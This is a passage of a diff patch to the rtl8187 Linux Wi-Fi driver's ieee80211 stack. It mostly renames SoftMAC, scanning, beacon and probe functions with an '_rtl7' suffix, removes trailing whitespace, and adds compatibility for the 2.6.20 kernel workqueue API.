MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = 